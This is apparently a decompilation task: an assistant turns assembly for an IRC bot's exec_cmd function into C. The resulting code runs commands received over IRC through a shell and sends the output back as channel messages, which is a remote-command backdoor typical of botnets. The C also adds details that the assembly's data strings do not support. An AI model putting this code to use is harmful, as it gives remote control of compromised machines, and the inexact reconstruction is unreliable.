user: What is the c source code of the assembly code below:

```asm
<exec_cmd>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x250,%rsp
  mov    %edi,-0x234(%rbp)
  mov    %rsi,-0x240(%rbp)
  mov    %rdx,-0x248(%rbp)
  mov    %fs:0x28,%rax
  mov    %rax,-0x8(%rbp)
  xor    %eax,%eax
  lea    -0x218(%rbp),%rax
  mov    %rax,%rdi
  call   <pipe@plt>
  test   %rax,%rax
  je     L30
  mov    -0x240(%rbp),%rdx
  mov    -0x234(%rbp),%eax
  lea    D7(%rip),%rcx
  mov    %rcx,%rsi
  mov    %eax,%edi
  mov    $0x0,%eax
  call   <send_msg@plt>
  jmp    L24
L30:
  mov    $0x0,%eax
  call   <fork@plt>
  mov    %rax,-0x228(%rbp)
  cmpq   $0x0,-0x228(%rbp)
  jns    L23
  mov    -0x240(%rbp),%rdx
  mov    -0x234(%rbp),%eax
  lea    D76(%rip),%rcx
  mov    %rcx,%rsi
  mov    %eax,%edi
  mov    $0x0,%eax
  call   <send_msg@plt>
  jmp    L24
L23:
  cmpq   $0x0,-0x228(%rbp)
  jne    L18
  mov    -0x218(%rbp),%eax
  mov    %eax,%edi
  call   <close@plt>
  mov    -0x214(%rbp),%eax
  mov    $0x1,%esi
  mov    %eax,%edi
  call   <dup2@plt>
  mov    -0x214(%rbp),%eax
  mov    $0x2,%esi
  mov    %eax,%edi
  call   <dup2@plt>
  mov    -0x214(%rbp),%eax
  mov    %eax,%edi
  call   <close@plt>
  mov    -0x248(%rbp),%rax
  mov    $0x0,%r8d
  mov    %rax,%rcx
  lea    D26(%rip),%rax
  mov    %rax,%rdx
  lea    D24(%rip),%rax
  mov    %rax,%rsi
  lea    D24(%rip),%rax
  mov    %rax,%rdi
  call   <execl@plt>
  mov    $0x1,%edi
  call   <_exit@plt>
  jmp    L24
L18:
  mov    -0x214(%rbp),%eax
  mov    %eax,%edi
  call   <close@plt>
  mov    -0x218(%rbp),%eax
  lea    D80(%rip),%rdx
  mov    %rdx,%rsi
  mov    %eax,%edi
  call   <fdopen@plt>
  mov    %rax,-0x220(%rbp)
  cmpq   $0x0,-0x220(%rbp)
  jne    L85
  mov    -0x240(%rbp),%rdx
  mov    -0x234(%rbp),%eax
  lea    D67(%rip),%rcx
  mov    %rcx,%rsi
  mov    %eax,%edi
  mov    $0x0,%eax
  call   <send_msg@plt>
  jmp    L24
L19:
  lea    -0x210(%rbp),%rax
  lea    D62(%rip),%rdx
  mov    %rdx,%rsi
  mov    %rax,%rdi
  call   <strcspn@plt>
  movb   $0x0,-0x210(%rbp,%rax,1)
  lea    -0x210(%rbp),%rcx
  mov    -0x240(%rbp),%rdx
  mov    -0x234(%rbp),%eax
  lea    D87(%rip),%rsi
  mov    %eax,%edi
  mov    $0x0,%eax
  call   <send_msg@plt>
L85:
  mov    -0x220(%rbp),%rdx
  lea    -0x210(%rbp),%rax
  mov    $0x200,%esi
  mov    %rax,%rdi
  call   <fgets@plt>
  test   %rax,%rax
  jne    L19
  nop
L24:
  mov    -0x8(%rbp),%rax
  sub    %fs:0x28,%rax
  je     L46
  call   <__stack_chk_fail@plt>
L46:
  leave
  ret
```

tool_calls: name: read_data
arguments: label: D7
datatype: string
name: read_data
arguments: label: D76
datatype: string
name: read_data
arguments: label: D26
datatype: string
name: read_data
arguments: label: D24
datatype: string
name: read_data
arguments: label: D80
datatype: string
name: read_data
arguments: label: D67
datatype: string
name: read_data
arguments: label: D62
datatype: string
name: read_data
arguments: label: D87
datatype: string

tool: D7: PRIVMSG %s :Error calling pipe()


tool: D76: PRIVMSG %s :Error calling fork()


tool: D26: -c

tool: D24: /bin/msh

tool: D80: r

tool: D67: PRIVMSG %s :Error creating stream from fd


tool: D62: 


tool: D87: PRIVMSG %s :%s


assistant: ```c
void exec_cmd(int sockfd, char *replyto, char *cmd) {
  pid_t pid;
  int status, pipefd[2];
  char msg[512];
  if (pipe(pipefd) != 0) {
    send_msg(sockfd, "PRIVMSG %s :Error calling pipe()\r\n", replyto);
    return;
  }
  pid = fork();
  if (pid < 0) {
    send_msg(sockfd, "PRIVMSG %s :Error calling fork()\r\n", replyto);
    return;
  } else if (pid == 0) {
    close(pipefd[0]);
    dup2(pipefd[1], 1);
    dup2(pipefd[1], 2);
    close(pipefd[1]);
    execl("/bin/msh", "/bin/msh", "-c", cmd, NULL);
    _exit(1);
  } else {
    FILE *stream;
    int ch;
    char buf[512];
    close(pipefd[1]);
    if ((stream = fdopen(pipefd[0], "r")) == NULL) {
      send_msg(sockfd, "PRIVMSG %s :Error creating stream from fd\r\n", replyto);
      return;
    }
    while (fgets(buf, sizeof(buf), stream) != NULL) {
      buf[strcspn(buf, "\n")] = '\0';
      send_msg(sockfd, "PRIVMSG %s :%s\r\n", replyto, buf);
    }
    return;
  }
}
```